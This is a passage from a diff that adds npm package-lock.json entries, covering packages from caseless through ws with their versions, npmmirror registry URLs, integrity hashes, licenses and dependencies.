"https://registry.npmmirror.com/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/chai": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/chai/-/chai-4.5.0.tgz", + "integrity": "sha512-RITGBfijLkBddZvnn8jdqoTypxvqbOLYQkGGxXzeFjVHvudaPw0HNFD9x928/eUwYWd2dPCugVqspGALTZZQKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "assertion-error": "^1.1.0", + "check-error": "^1.0.3", + "deep-eql": "^4.1.3", + "get-func-name": "^2.0.2", + "loupe": "^2.3.6", + "pathval": "^1.1.1", + "type-detect": "^4.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chalk/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/check-error": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/check-error/-/check-error-1.0.3.tgz", + "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-func-name": "^2.0.2" + }, + "engines": { + "node": "*" + } + }, + "node_modules/check-more-types": { + "version": "2.24.0", + "resolved": "https://registry.npmmirror.com/check-more-types/-/check-more-types-2.24.0.tgz", + "integrity": "sha512-Pj779qHxV2tuapviy1bSZNEL1maXr13bPYpsvSDB68HlYcYuhlDrmGd63i0JHMCLKzc7rUSNIrpdJlhVlNwrxA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmmirror.com/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-table3": { + "version": "0.6.5", + "resolved": "https://registry.npmmirror.com/cli-table3/-/cli-table3-0.6.5.tgz", + "integrity": "sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "@colors/colors": "1.5.0" + } + }, + "node_modules/cli-truncate": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/cli-truncate/-/cli-truncate-2.1.0.tgz", + "integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "slice-ansi": "^3.0.0", + "string-width": "^4.2.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmmirror.com/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/commander/-/commander-6.2.1.tgz", + "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/common-tags": { + "version": "1.8.2", + "resolved": "https://registry.npmmirror.com/common-tags/-/common-tags-1.8.2.tgz", + "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/compress-commons": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/compress-commons/-/compress-commons-6.0.2.tgz", + "integrity": "sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "crc-32": "^1.2.0", + "crc32-stream": "^6.0.0", + "is-stream": "^2.0.1", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/computeds": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/computeds/-/computeds-0.0.1.tgz", + "integrity": "sha512-7CEBgcMjVmitjYo5q8JTJVra6X5mQ20uTThdK+0kR7UEaDrAWEQcRiBtWJzga4eRpP6afNwwLsX2SET2JhVB1Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/config-chain": { + "version": "1.1.13", + "resolved": "https://registry.npmmirror.com/config-chain/-/config-chain-1.1.13.tgz", + "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ini": "^1.3.4", + "proto-list": "~1.2.1" + } + }, + "node_modules/config-chain/node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmmirror.com/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "license": "ISC" + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "crc32": "bin/crc32.njs" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/crc32-stream": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/crc32-stream/-/crc32-stream-6.0.0.tgz", + "integrity": "sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==", + "dev": true, + "license": "MIT", + "dependencies": { + "crc-32": "^1.2.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssom": { + "version": "0.5.0", + "resolved": "https://registry.npmmirror.com/cssom/-/cssom-0.5.0.tgz", + "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==", + "dev": true, + "license": "MIT" + }, + "node_modules/cssstyle": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/cssstyle/-/cssstyle-2.3.0.tgz", + "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssom": "~0.3.6" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cssstyle/node_modules/cssom": { + "version": "0.3.8", + "resolved": "https://registry.npmmirror.com/cssom/-/cssom-0.3.8.tgz", + "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", + "license": "MIT" + }, + "node_modules/cypress": { + "version": "12.17.4", + "resolved": "https://registry.npmmirror.com/cypress/-/cypress-12.17.4.tgz", + "integrity": "sha512-gAN8Pmns9MA5eCDFSDJXWKUpaL3IDd89N9TtIupjYnzLSmlpVr+ZR+vb4U/qaMp+lB6tBvAmt7504c3Z4RU5KQ==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "@cypress/request": "2.88.12", + "@cypress/xvfb": "^1.2.4", + "@types/node": "^16.18.39", + "@types/sinonjs__fake-timers": "8.1.1", + "@types/sizzle": "^2.3.2", + "arch": "^2.2.0", + "blob-util": "^2.0.2", + "bluebird": "^3.7.2", + "buffer": "^5.6.0", + "cachedir": "^2.3.0", + "chalk": "^4.1.0", + "check-more-types": "^2.24.0", + "cli-cursor": "^3.1.0", + "cli-table3": "~0.6.1", + "commander": "^6.2.1", + "common-tags": "^1.8.0", + "dayjs": "^1.10.4", + "debug": "^4.3.4", + "enquirer": "^2.3.6", + "eventemitter2": "6.4.7", + "execa": "4.1.0", + "executable": "^4.1.1", + "extract-zip": "2.0.1", + "figures": "^3.2.0", + "fs-extra": "^9.1.0", + "getos": "^3.2.1", + "is-ci": "^3.0.0", + "is-installed-globally": "~0.4.0", + "lazy-ass": "^1.6.0", + "listr2": "^3.8.3", + "lodash": "^4.17.21", + "log-symbols": "^4.0.0", + "minimist": "^1.2.8", + "ospath": "^1.2.2", + "pretty-bytes": "^5.6.0", + "process": "^0.11.10", + "proxy-from-env": "1.0.0", + "request-progress": "^3.0.0", + "semver": "^7.5.3", + "supports-color": "^8.1.1", + "tmp": "~0.2.1", + "untildify": "^4.0.0", + "yauzl": "^2.10.0" + }, + "bin": { + "cypress": "bin/cypress" + }, + "engines": { + "node": "^14.0.0 || ^16.0.0 || >=18.0.0" + } + }, + "node_modules/cypress/node_modules/@types/node": { + "version": "16.18.126", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-16.18.126.tgz", + "integrity": "sha512-OTcgaiwfGFBKacvfwuHzzn1KLxH/er8mluiy8/uM3sGXHaRe73RrSIj01jow9t4kJEW633Ov+cOexXeiApTyAw==", + "dev": true, + "license": "MIT" + }, + "node_modules/cypress/node_modules/proxy-from-env": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.0.0.tgz", + "integrity": "sha512-F2JHgJQ1iqwnHDcQjVBsq3n/uoaFL+iPW/eAeL7kVxy/2RrWaN4WroKjjvbsoRtv0ftelNyC01bjRhn/bhcf4A==", + "dev": true, + "license": "MIT" + }, + "node_modules/dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==", + "dev": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/data-urls": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/data-urls/-/data-urls-3.0.2.tgz", + "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/data-view-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/data-view-buffer/-/data-view-buffer-1.0.2.tgz", + "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz", + "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/inspect-js" + } + }, + "node_modules/data-view-byte-offset": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz", + "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/dayjs": { + "version": "1.11.13", + "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.13.tgz", + "integrity": "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==", + "dev": true, + "license": "MIT" + }, + "node_modules/de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.0", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.4.0.tgz", + "integrity": "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.5.0", + "resolved": "https://registry.npmmirror.com/decimal.js/-/decimal.js-10.5.0.tgz", + "integrity": "sha512-8vDa8Qxvr/+d94hSh5P3IJwI5t8/c0KsMp+g8bNw9cY2icONa5aPfvKeieW1WlG0WQYwwhJ7mjui2xtiePQSXw==", + "dev": true, + "license": "MIT" + }, + "node_modules/deep-eql": { + "version": "4.1.4", + "resolved": "https://registry.npmmirror.com/deep-eql/-/deep-eql-4.1.4.tgz", + "integrity": "sha512-SUwdGfqdKOwxCPeVYjwSyRpJ7Z+fhpwIAtmCUdZIWZ/YP5R9WAsyuSgpLVDi9bjWoN2LXHNss/dk3urXtdQxGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-detect": "^4.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/domexception": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/domexception/-/domexception-4.0.0.tgz", + "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "deprecated": "Use your platform's native DOMException instead", + "dev": true, + "license": "MIT", + "dependencies": { + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "dev": true, + "license": "MIT" + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true, + "license": "MIT" + }, + "node_modules/ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==", + "dev": true, + "license": "MIT", + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/editorconfig": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/editorconfig/-/editorconfig-1.0.4.tgz", + "integrity": "sha512-L9Qe08KWTlqYMVvMcTIvMAdl1cDUubzRNYL+WfA4bLDMHe4nemKkpmYzkznE1FwLKu0EEmy6obgQKzMJrg4x9Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@one-ini/wasm": "0.1.1", + "commander": "^10.0.0", + "minimatch": "9.0.1", + "semver": "^7.5.3" + }, + "bin": { + "editorconfig": "bin/editorconfig" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/editorconfig/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/editorconfig/node_modules/commander": { + "version": "10.0.1", + "resolved": "https://registry.npmmirror.com/commander/-/commander-10.0.1.tgz", + "integrity": "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/editorconfig/node_modules/minimatch": { + "version": "9.0.1", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.1.tgz", + "integrity": "sha512-0jWhJpD/MdhPXwPuiRkCbfYfSKp2qnn2eOc279qI7f+osl/l+prKSrvhg157zSYvx/1nmgn2NqdT6k2Z7zSH9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmmirror.com/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/engine.io-client": { + "version": "6.6.3", + "resolved": "https://registry.npmmirror.com/engine.io-client/-/engine.io-client-6.6.3.tgz", + "integrity": "sha512-T0iLjnyNWahNyv/lcjS2y4oE358tVS/SYQNxYXGAJ9/GLgH4VCvOQ/mhTjqU88mLZCQgiG8RIegFHYCdVC+j5w==", + "license": "MIT", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1", + "engine.io-parser": "~5.2.1", + "ws": "~8.17.1", + "xmlhttprequest-ssl": "~2.1.1" + } + }, + "node_modules/engine.io-client/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/engine.io-client/node_modules/ws": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ws/-/ws-8.17.1.tgz", + "integrity": 